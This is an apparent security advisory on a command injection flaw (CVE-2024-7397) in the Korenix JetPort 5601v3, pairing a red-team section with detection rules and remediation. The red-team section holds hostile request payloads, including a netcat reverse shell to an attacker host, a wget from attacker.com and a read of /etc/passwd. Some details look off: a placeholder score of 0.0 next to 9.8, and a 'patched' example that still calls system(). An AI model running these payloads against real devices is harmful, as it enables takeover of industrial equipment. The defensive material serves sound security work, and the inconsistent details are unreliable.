CVE-2024-7397

Executive Summary

CVE-2024-7397 is a critical command injection vulnerability in the Korenix JetPort 5601v3 industrial serial device server. The vulnerability stems from improper filtering of special characters in user-supplied input, allowing an unauthenticated attacker to execute arbitrary operating system commands on the device. With a CVSS score of 0.0 (placeholder) but a vector indicating network-based, low-complexity exploitation, this flaw poses a severe risk to operational technology (OT) environments. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor. The vulnerability affects all firmware versions up to and including 1.2.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full system compromise.
• Integrity Impact: High (I:H) – Arbitrary command execution.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical. The vulnerability allows remote, unauthenticated command injection, enabling full device takeover. Given the device’s role in industrial serial communication, exploitation could lead to lateral movement into OT networks.

Deep Dive & Mechanics

The Korenix JetPort 5601v3 is a serial-to-Ethernet device server used in industrial automation to connect legacy serial devices (e.g., PLCs, RTUs) to IP networks. The vulnerability resides in the web management interface or a command-line service that fails to sanitize special characters (e.g., ;, |, &, `) in input fields. When user-supplied data is passed to a system shell (e.g., via system(), exec(), or popen()), an attacker can inject arbitrary commands.

Root Cause: The application does not validate or escape special characters before constructing shell commands. For example, a request to a vulnerable endpoint like /cgi-bin/command.cgi?cmd=ping might be processed as:

system("ping " + user_input);

If an attacker sends 127.0.0.1; ls -la, the shell executes both the intended command and the injected ls -la.

Attack Surface:

• Web interface (HTTP/HTTPS) on ports 80/443.
• Telnet/SSH services (if enabled).
• Custom protocol handlers on non-standard ports.

Impact: Full remote code execution (RCE) as the root or system user, leading to device compromise, data exfiltration, and pivot to internal OT networks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void handle_command(char *input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping %s", input);
    system(cmd);  // No sanitization
}

Patched Code (Conceptual):

void handle_command(char *input) {
    // Whitelist allowed characters (alphanumeric, dots, hyphens)
    if (!is_valid_input(input)) {
        log_error("Invalid input");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping %s", input);
    system(cmd);
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target device with JetPort 5601v3 firmware <= 1.2.
• Network access to the device’s web interface or command service.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /cgi-bin/command.cgi).
2. Inject command via parameter:

   GET /cgi-bin/command.cgi?cmd=127.0.0.1;id HTTP/1.1
   Host: <target_ip>
   

3. Observe response for command output (e.g., uid=0(root)).
4. Establish reverse shell:

   GET /cgi-bin/command.cgi?cmd=127.0.0.1;nc -e /bin/sh <attacker_ip> 4444 HTTP/1.1
   

Example Payloads:

• ; ls -la /
• | cat /etc/passwd
• `wget http://attacker.com/malware`

Lab Setup:

• Use a virtualized environment with QEMU or a real JetPort 5601v3.
• Set up a Kali Linux attacker machine.
• Use Burp Suite or netcat for manual exploitation.

Blue Team (Defense)

Detection:

• Monitor for unusual HTTP requests containing shell metacharacters (;, |, &, `).
• Alert on outbound connections from the device to unknown IPs (reverse shell).
• Enable logging on the device (if supported) and forward to a SIEM.

Honeypot:

• Deploy a fake JetPort 5601v3 service to capture attacker payloads.

Network Segmentation:

• Isolate OT devices from IT networks.
• Use firewalls to restrict inbound traffic to the device’s management interface.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with shell metacharacters in parameters (e.g., ;id, |cat).
• Outbound connections from the device to non-standard ports (e.g., 4444, 31337).
• Unusual DNS queries from the device.

Host IOCs:

• Unexpected processes (e.g., nc, bash, python).
• Modified system binaries or scripts.
• New cron jobs or startup scripts.

File IOCs:

• /tmp/*.sh or /var/tmp/*.py (malicious scripts).
• /etc/passwd or /etc/shadow modifications.

Detection Engineering

YARA Rule

rule CVE_2024_7397_Command_Injection {
    meta:
        description = "Detects command injection attempts against Korenix JetPort 5601v3"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7397"
    strings:
        $cmd1 = ";id" ascii wide nocase
        $cmd2 = "|cat /etc/passwd" ascii wide nocase
        $cmd3 = "`ls -la`" ascii wide nocase
        $cmd4 = "&whoami" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-7397 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting Korenix JetPort 5601v3
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - ";id"
            - "|cat"
            - "`ls"
            - "&whoami"
    condition: selection
falsepositives:
    - Legitimate use of special characters in non-vulnerable endpoints
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-7397 Command Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/cgi-bin/command.cgi"; http_uri;
    pcre:"/(;|\\||`|&)[a-z]/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-7397;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place JetPort 5601v3 behind a firewall with strict ACLs.
2. Disable unnecessary services: Turn off web interface, Telnet, or SSH if not required.
3. Monitor logs: Enable and forward logs to a SIEM for anomaly detection.

Long-Term Fix:

• Vendor patch: Await official firmware update from Korenix. Contact vendor for status.
• Input validation: Implement whitelist-based input validation for all user-supplied data.
• Code review: Audit all command execution paths for proper sanitization.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious requests before they reach the device.
• Deploy an IDS/IPS (e.g., Snort, Suricata) with custom rules to block injection attempts.

Valters IT – Securing OT, One CVE at a Time.